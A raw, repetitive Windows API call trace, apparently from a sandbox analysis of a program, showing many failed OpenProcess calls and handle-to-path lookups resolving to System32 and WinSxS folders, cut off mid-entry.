0x0 [0127.753] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.753] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.753] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.753] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.754] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.754] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.754] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.754] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.754] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.754] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.754] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.754] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.754] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.755] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.755] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.755] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.755] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.755] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.755] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.755] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.755] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.755] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.755] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.756] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.756] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.756] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.756] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.756] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.756] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.756] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.756] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.756] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.757] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.757] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.757] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.757] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.757] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.757] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.757] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.757] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.757] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.757] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.758] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.758] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.758] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.758] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.758] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.758] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.758] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.758] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.758] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.759] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.759] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.759] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.759] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.759] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.759] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.759] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.759] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.759] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.760] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.760] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.760] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.760] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.760] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.760] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.760] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.760] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.760] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.761] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.761] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.761] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.761] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.761] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.761] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.761] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.761] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.761] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.761] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.762] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.762] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.762] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.762] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.762] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.762] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.762] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.762] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.762] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.763] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.763] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.763] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.763] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.763] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.763] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.763] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.763] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.763] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.763] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.764] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.764] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.764] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.764] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.764] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.764] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.764] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.764] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.764] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.765] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.765] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.765] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.765] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.765] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.765] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.765] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.765] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.765] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.766] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.766] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.766] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.766] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.766] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.766] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.766] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.766] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.766] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.766] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.767] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.767] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.767] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.767] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.767] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.767] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.767] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.767] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.767] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.768] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.768] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.768] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.768] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.768] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.768] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.768] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.768] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.768] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.768] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.769] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.769] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.769] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.769] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.769] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.769] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.769] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.769] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.769] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.770] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.770] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.770] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.770] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.770] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.770] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.770] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.770] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.770] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.770] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.771] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.771] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.771] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.771] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.771] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.771] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.771] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.771] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.771] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.772] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.772] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.772] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.772] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.772] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.772] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.772] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.772] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.772] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.773] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.773] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.773] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.773] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.773] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.773] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.773] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.773] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.773] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.773] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.774] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.774] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.774] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.774] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.774] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.774] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.774] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.774] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.774] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.775] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.775] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.775] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.775] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.775] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.775] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.796] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.796] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0127.797] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0127.797] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0127.797] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0127.797] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0127.797] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0127.797] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0127.797] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0127.797] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0127.797] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0127.797] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x0 [0127.798] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x0 [0127.798] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0127.798] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0127.798] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0127.798] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0127.798] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0127.798] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0127.798] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0127.798] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0127.798] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0127.799] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x178) returned 0x0 [0127.799] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x184) returned 0x0 [0127.799] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x184) returned 0x0 [0127.799] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x184) returned 0x0 [0127.799] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x184) returned 0x0 [0127.799] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x184) returned 0x0 [0127.800] GetFileType (hFile=0x128) returned 0x1 [0127.800] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\System32") returned 0x17 [0127.802] CloseHandle (hObject=0x128) returned 1 [0127.802] GetFileType (hFile=0xb8) returned 0x1 [0127.802] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a") returned 0x6b [0127.803] CloseHandle (hObject=0xb8) returned 1 [0127.803] GetFileType (hFile=0x128) returned 0x0 [0127.803] CloseHandle (hObject=0x128) returned 1 [0127.803] GetFileType (hFile=0xb8) returned 0x1 [0127.803] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0127.804] CloseHandle (hObject=0xb8) returned 1 [0127.804] GetFileType (hFile=0x128) returned 0x1 [0127.804] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0127.805] CloseHandle (hObject=0x128) returned 1 [0127.805] GetFileType (hFile=0xb8) returned 0x1 [0127.805] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_08e61857a83bc251") returned 0x64 [0127.806] CloseHandle (hObject=0xb8) returned 1 [0127.807] GetFileType (hFile=0x128) returned 0x1 [0127.807] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.vc90.atl_1fc8b3b9a1e18e3b_9.0.30729.6161_none_0a1fd3a3a768b895") returned 0x64 [0127.808] CloseHandle (hObject=0x128) returned 1 [0127.808] GetFileType (hFile=0xb8) returned 0x1 [0127.808] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0127.809] CloseHandle (hObject=0xb8) returned 1 [0127.809] GetFileType (hFile=0x128) returned 0x1 [0127.809] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0127.810] CloseHandle (hObject=0x128) returned 1 [0127.810] GetFileType (hFile=0xb8) returned 0x1 [0127.810] GetFinalPathNameByHandleW (in: hFile=0xb8, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: lpszFilePath="\\\\?\\C:\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac") returned 0x73 [0127.811] CloseHandle (hObject=0xb8) returned 1 [0127.811] GetFileType (hFile=0x128) returned 0x1 [0127.811] GetFinalPathNameByHandleW (in: hFile=0x128, lpszFilePath=0x290f250, cchFilePath=0x400, dwFlags=0x0 | out: 